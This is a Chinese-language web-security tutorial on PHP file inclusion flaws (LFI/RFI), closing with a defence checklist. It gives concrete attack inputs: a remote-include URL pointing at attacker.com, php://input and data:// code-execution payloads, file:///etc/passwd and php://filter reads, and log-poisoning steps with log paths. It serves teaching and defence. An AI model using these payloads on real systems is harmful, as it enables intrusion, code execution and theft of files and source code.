WEB安全梳理-文件包含
字数 1940 2025-08-12 11:33:43
文件包含漏洞全面解析与防御指南
一、文件包含漏洞概述
文件包含漏洞是指文件包含函数加载的参数未经严格过滤或定义,被用户控制后包含恶意文件,导致执行非预期代码的安全问题。
本地文件包含(LFI)与远程文件包含(RFI)区别
- 本地文件包含(LFI):包含服务器本地的文件
- 远程文件包含(RFI):通过HTTP协议包含外部资源
- 危害对比:RFI > LFI
二、文件包含漏洞的危害
- 配合文件上传漏洞获取WebShell
- 执行任意脚本代码
- 泄露网站源码及配置文件
- 远程包含获取WebShell
- 控制整个网站甚至服务器
三、利用前提条件
allow_url_fopen=On(默认On):允许从远程服务器检索数据allow_url_include=On(PHP5.2+默认Off):允许URL封装协议包含文件
四、常见文件包含函数
PHP
include()、include_once()require()、require_once()fopen()、readfile()
注:PHP中这些函数会将任何类型文件作为PHP解析
JSP/Servlet
java.io.file()java.io.filereader()- 静动态include
ASP
include fileinclude virtual
五、PHP中include与require区别
| 函数 | 执行时机 | 文件不存在时的行为 |
|---|---|---|
| include() | 执行到该语句时包含 | 产生警告,脚本继续 |
| require() | 程序运行即包含 | 产生致命错误,停止脚本 |
六、文件包含利用思路
- 包含敏感配置文件获取信息
- 配合图片马获取WebShell
- 包含临时文件获取WebShell
- 包含session文件获取WebShell
- 包含日志文件获取WebShell
- 利用PHP伪协议攻击
七、本地文件包含(LFI)利用
1. 基本利用方式
- 上传图片马并包含
- 读取网站源码及配置
- 包含日志文件
2. %00截断利用
条件:
magic_quotes_gpc=Off- PHP版本 < 5.3.4
3. 路径长度截断
条件:
- PHP版本 < 5.2.8
- Linux:文件名 > 4096
- Windows:文件名 > 256
4. 包含日志获取WebShell
步骤:
- 获取日志路径
- 触发404错误写入恶意代码
- 包含日志文件执行代码
常见日志路径:
- Apache+Linux:
/var/log/httpd/access_log - Apache+Win:
apache\logs\access.log - IIS6.0:
C:\WINDOWS\system32\Logfiles - Nginx:
/usr/local/nginx/logs
八、远程文件包含(RFI)利用
1. 利用前提
allow_url_fopen=Onallow_url_include=On- 被包含变量前无目录限制
2. 利用示例
http://victim.com/fi/?page=http://attacker.com/malicious.txt
注:包含远程PHP文件会先被远程服务器解析,建议使用.txt文件
九、PHP伪协议详解
1. php://input
用途:执行POST数据作为PHP代码
条件:
allow_url_include=On- 不能用于
multipart/form-data
示例:
?file=php://input
POST数据:
<?php phpinfo(); ?>
2. data://
用途:执行编码后的PHP代码
条件:allow_url_include=On
示例:
?filename=data:text/plain,<?php phpinfo();?>
或
?filename=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
3. file://
用途:读取本地文件
条件:无特殊要求
示例:
?filename=file:///etc/passwd
4. zip://
用途:执行压缩包内PHP文件
条件:
- PHP >= 5.3.0
- Windows下5.3.0<PHP<5.4
示例:
?file=zip://archive.zip%23file.php
5. phar://
用途:执行压缩包内PHP文件
条件:PHP >= 5.3.0
示例:
?file=phar://archive.zip/file.php
6. php://filter
用途:读取文件内容
条件:无特殊要求
示例:
?filename=php://filter/read=convert.base64-encode/resource=index.php
十、漏洞挖掘方法
- 观察URL中路径参数
- 使用字典fuzz测试
- 尝试包含已知文件
- 测试伪协议可用性
十一、防御措施
- 关闭危险配置:
allow_url_fopen=Off allow_url_include=Off - 过滤特殊字符:
./、../- 伪协议关键字
- 白名单验证包含文件
- 设置open_basedir限制访问目录
- 保持PHP版本更新
总结
文件包含漏洞是PHP应用中常见的高危漏洞,攻击者可通过多种方式利用该漏洞获取系统权限。防御关键在于严格过滤输入、关闭不必要的功能,并保持系统更新。开发人员应始终遵循最小权限原则,避免直接使用用户输入作为文件包含参数。